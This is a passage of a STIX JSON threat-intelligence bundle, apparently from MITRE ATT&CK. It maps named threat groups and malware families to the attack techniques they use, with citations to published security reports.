                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b"
        },
        {
            "id": "relationship--4eec017c-8bf2-4eda-8c92-15926fc7e5aa",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families collect information on the type and version of the victim OS, as well as the victim computer name and CPU information. A Destover-like variant used by [Lazarus Group](https://attack.mitre.org/groups/G0032) also collects disk space information and sends it to its C2 server.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: Novetta Blockbuster Loaders)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: McAfee GhostSecret).",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.",
                    "source_name": "Novetta Blockbuster Destructive Malware"
                },
                {
                    "source_name": "Novetta Blockbuster Loaders",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.",
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf"
                },
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/",
                    "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.",
                    "source_name": "McAfee Lazarus Resurfaces Feb 2018"
                },
                {
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.",
                    "source_name": "McAfee GhostSecret"
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-12-11T17:47:23.043Z",
            "created": "2017-05-31T21:33:27.066Z"
        },
        {
            "id": "relationship--3b6fc69c-9759-465a-b09c-a6161e4e2f56",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54",
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                }
            ],
            "description": "(Citation: Dell TG-3390)",
            "type": "relationship",
            "modified": "2019-07-14T21:15:55.620Z",
            "created": "2017-05-31T21:33:27.063Z"
        },
        {
            "id": "relationship--440c7f08-e570-4536-8f9c-849952581de1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Proton](https://attack.mitre.org/software/S0279) uses VNC to connect into systems.(Citation: objsee mac malware 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://objective-see.com/blog/blog_0x25.html",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "source_name": "objsee mac malware 2017"
                }
            ],
            "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b",
            "type": "relationship",
            "modified": "2020-03-17T17:00:43.701Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--2e367a09-1d94-4ea4-984c-a592b769fffa",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[WinMM](https://attack.mitre.org/software/S0059) collects the system name, OS version including service pack, and system install date and sends the information to the C2 server.(Citation: Baumgartner Naikon 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Baumgartner Naikon 2015",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"
                }
            ],
            "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-05-03T16:45:45.293Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1157b635-1cd6-4f65-9be6-09a9f7ac1664",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[jRAT](https://attack.mitre.org/software/S0283) uses WMIC to identify anti-virus products installed on the victim\u2019s machine and to obtain firewall details.(Citation: jRAT Symantec Aug 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques",
                    "description": "Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.",
                    "source_name": "jRAT Symantec Aug 2018"
                }
            ],
            "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "type": "relationship",
            "modified": "2019-06-24T17:20:24.482Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--b150e3fd-54c0-49ec-a41f-860e92712344",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Vasport](https://attack.mitre.org/software/S0207) is capable of tunneling though a proxy.(Citation: Symantec Vasport May 2012)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Vasport May 2012",
                    "description": "Zhou, R. (2012, May 15). Backdoor.Vasport. Retrieved February 22, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99"
                }
            ],
            "source_ref": "malware--f4d8a2d6-c684-453a-8a14-cf4a94f755c5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
            "type": "relationship",
            "modified": "2020-03-17T02:47:10.975Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--e8a77e9f-594d-429a-9eb0-51502af84c14",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used PowerShell for execution.(Citation: FireEye MuddyWater Mar 2018)(Citation: MuddyWater TrendMicro June 2018)(Citation: Securelist MuddyWater Oct 2018)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: Talos MuddyWater May 2019)(Citation: Reaqta MuddyWater November 2017)(Citation: Trend Micro Muddy Water March 2021)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "source_name": "FireEye MuddyWater Mar 2018"
                },
                {
                    "source_name": "MuddyWater TrendMicro June 2018",
                    "description": "Villanueva, M., Co, M. (2018, June 14). Another Potential MuddyWater Campaign uses Powershell-based PRB-Backdoor. Retrieved July 3, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/another-potential-muddywater-campaign-uses-powershell-based-prb-backdoor/"
                },
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/muddywater/88059/",
                    "source_name": "Securelist MuddyWater Oct 2018"
                },
                {
                    "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group",
                    "source_name": "Symantec MuddyWater Dec 2018"
                },
                {
                    "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf",
                    "source_name": "ClearSky MuddyWater Nov 2018"
                },
                {
                    "description": "Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.",
                    "url": "https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html",
                    "source_name": "Talos MuddyWater May 2019"
                },
                {
                    "source_name": "Reaqta MuddyWater November 2017",
                    "url": "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/",
                    "description": "Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020."
                },
                {
                    "source_name": "Trend Micro Muddy Water March 2021",
                    "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html",
                    "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "type": "relationship",
            "modified": "2021-03-19T13:07:58.190Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--ccc38b61-c517-4186-909a-760f12ef65e8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CORESHELL](https://attack.mitre.org/software/S0137) is installed via execution of rundll32 with an export named \"init\" or \"InitW.\"(Citation: Microsoft SIR Vol 19)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf",
                    "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.",
                    "source_name": "Microsoft SIR Vol 19"
                }
            ],
            "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "type": "relationship",
            "modified": "2020-03-17T00:47:59.894Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--7be0437f-1d0d-4df0-9e66-70e581cc5f1a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can obtain running services on the victim.(Citation: ESET InvisiMole June 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET InvisiMole June 2018",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "type": "relationship",
            "modified": "2020-03-17T00:09:26.401Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--cdb1549e-d3e6-4826-8f42-ca85fa9d08eb",
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            "description": "[Proton](https://attack.mitre.org/software/S0279) captures the content of the desktop with the screencapture binary.(Citation: objsee mac malware 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://objective-see.com/blog/blog_0x25.html",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "source_name": "objsee mac malware 2017"
                }
            ],
            "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2019-06-24T19:03:52.785Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--32218bd0-d598-4560-9a70-ab7d5c92f986",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[WINDSHIELD](https://attack.mitre.org/software/S0155) can gather the victim user name.(Citation: FireEye APT32 May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT32 May 2017",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.",
                    "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf",
                    "source_name": "GDATA Zeus Panda June 2017"
                }
            ],
            "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) checks for running processes on the victim\u2019s machine.(Citation: GDATA Zeus Panda June 2017)",
            "id": "relationship--39f3e098-ca5d-4dc4-9cbb-bc29148def30",
            "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-04-16T20:55:20.239Z",
            "created": "2019-01-29T17:59:44.445Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.",
                    "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html",
                    "source_name": "Fortinet Agent Tesla April 2018"
                },
                {
                    "source_name": "Fortinet Agent Tesla June 2017",
                    "url": "https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html",
                    "description": "Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018."
                },
                {
                    "source_name": "Malwarebytes Agent Tesla April 2020",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/",
                    "description": "Jazi, H. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved May 19, 2020."
                }
            ],
            "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can collect the system's computer name and also has the capability to collect information on the processor, memory, OS, and video card from the system.(Citation: Fortinet Agent Tesla April 2018)(Citation: Fortinet Agent Tesla June 2017)(Citation: Malwarebytes Agent Tesla April 2020)",
            "id": "relationship--b509e591-b086-4631-a9ba-5a5dc80de8d0",
            "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-05-28T23:41:03.868Z",
            "created": "2019-01-29T18:44:04.927Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Riskiq Remcos Jan 2018",
                    "url": "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/",
                    "description": "Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018."
                }
            ],
            "description": "[Remcos](https://attack.mitre.org/software/S0332) uses Python scripts.(Citation: Riskiq Remcos Jan 2018)",
            "id": "relationship--57966b1d-4770-49fb-afb6-b02699bb8154",
            "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1",
            "type": "relationship",
            "modified": "2020-03-17T19:23:52.033Z",
            "created": "2019-01-29T18:55:20.848Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/",
                    "source_name": "Malwarebytes DarkComet March 2018"
                }
            ],
            "description": "[DarkComet](https://attack.mitre.org/software/S0334) can steal data from the clipboard.(Citation: Malwarebytes DarkComet March 2018)",
            "id": "relationship--28b56048-87a7-4204-b55b-3f2f79f9073f",
            "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f",
            "type": "relationship",
            "modified": "2019-06-04T19:40:43.717Z",
            "created": "2019-01-29T19:18:28.724Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "id": "relationship--b2b885e0-3b49-4a38-80eb-30a1a3157ff0",
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "relationship_type": "uses",
            "target_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f",
            "external_references": [
                {
                    "source_name": "ESET Carbon Mar 2017",
                    "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/",
                    "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018."
                }
            ],
            "description": "(Citation: ESET Carbon Mar 2017)",
            "type": "relationship",
            "modified": "2019-07-14T21:04:45.851Z",
            "created": "2019-01-29T19:39:38.530Z"
        },
        {
            "id": "relationship--59b39f06-a71c-42f7-92f2-244a183113d6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BBSRAT](https://attack.mitre.org/software/S0127) can start, stop, or delete services.(Citation: Palo Alto Networks BBSRAT)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/",
                    "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.",
                    "source_name": "Palo Alto Networks BBSRAT"
                }
            ],
            "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4",
            "type": "relationship",
            "modified": "2019-04-24T23:10:02.492Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "id": "relationship--57a7fefa-774b-4653-af2d-ebf3e2e315ce",
            "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f",
            "relationship_type": "uses",
            "target_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676",
            "external_references": [
                {
                    "url": "https://www.brighttalk.com/webcast/10703/275683",
                    "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.",
                    "source_name": "FireEye APT33 Webinar Sept 2017"
                }
            ],
            "description": "(Citation: FireEye APT33 Webinar Sept 2017)",
            "type": "relationship",
            "modified": "2019-06-28T15:05:33.695Z",
            "created": "2019-01-29T20:09:31.931Z"
        },
        {
            "id": "relationship--cfc7da70-d7c5-4508-8f50-1c3107269633",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78",
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "description": "(Citation: PWC Cloud Hopper Technical Annex April 2017)",
            "type": "relationship",
            "modified": "2019-09-03T18:50:17.083Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4f13e788-b0da-457d-89b1-64196c9627b8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT32](https://attack.mitre.org/groups/G0050) ran legitimately-signed executables from Symantec and McAfee which load a malicious DLL. The group also side-loads its backdoor by dropping a library and a legitimate, signed executable (AcroTranscoder).(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)(Citation: ESET OceanLotus Mar 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.",
                    "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt",
                    "source_name": "Cybereason Oceanlotus May 2017"
                },
                {
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "source_name": "Cybereason Cobalt Kitty 2017"
                },
                {
                    "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.",
                    "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/",
                    "source_name": "ESET OceanLotus Mar 2019"
                }
            ],
            "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
            "type": "relationship",
            "modified": "2020-06-19T20:04:12.612Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0f60b67a-c6a5-4855-991e-00ec6fe5f9ac",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FinFisher](https://attack.mitre.org/software/S0182) establishes persistence by creating the Registry key <code>HKCU\\Software\\Microsoft\\Windows\\Run</code>.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.finfisher.com/FinFisher/index.html",
                    "description": "FinFisher. (n.d.). Retrieved December 20, 2017.",
                    "source_name": "FinFisher Citation"
                },
                {
                    "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/",
                    "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.",
                    "source_name": "Microsoft FinFisher March 2018"
                }
            ],
            "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2019-08-12T17:30:07.508Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos Micropsia June 2017",
                    "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html",
                    "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018."
                }
            ],
            "description": "[Micropsia](https://attack.mitre.org/software/S0339) creates a shortcut to maintain persistence.(Citation: Talos Micropsia June 2017)",
            "id": "relationship--583d2c3b-dd25-4f83-812a-d38cee3cdeef",
            "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
            "type": "relationship",
            "modified": "2019-04-17T22:05:05.951Z",
            "created": "2019-01-29T21:47:53.733Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist Octopus Oct 2018",
                    "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018."
                }
            ],
            "description": "[Octopus](https://attack.mitre.org/software/S0340) can upload and download files to and from the victim\u2019s machine.(Citation: Securelist Octopus Oct 2018)",
            "id": "relationship--c77d6f2a-664e-4bbb-bf86-c2c58adbdc84",
            "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-20T18:57:08.778Z",
            "created": "2019-01-30T13:24:09.049Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) checks for installed security software like antivirus and firewall.(Citation: ESET GreyEnergy Oct 2018)",
